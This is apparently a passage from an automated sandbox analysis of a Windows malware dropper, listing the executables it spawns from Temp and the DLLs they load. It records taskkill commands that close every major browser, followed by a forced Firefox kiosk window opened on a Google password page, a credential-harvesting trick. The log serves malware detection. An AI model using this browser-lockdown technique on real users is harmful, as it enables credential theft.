Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe "C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe"
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Process created: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe "C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe"
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000779001\num.exe "C:\Users\user\AppData\Local\Temp\1000779001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe "C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe "C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe "C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe "C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe "C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe "C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000779001\num.exe "C:\Users\user\AppData\Local\Temp\1000779001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Process created: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe "C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe"
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Process created: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe "C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe"
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2296 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2208 -prefsLen 25298 -prefMapSize 238442 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {34b6ca91-56d8-413a-88d7-ee30912c0c14} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 1ba9f06e710 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4468 -parentBuildID 20230927232528 -prefsHandle 4460 -prefMapHandle 4456 -prefsLen 26313 -prefMapSize 238442 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c5273e2e-201f-4d21-b74a-5307ad1e4b40} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 1bab1427e10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: uxtheme.dll
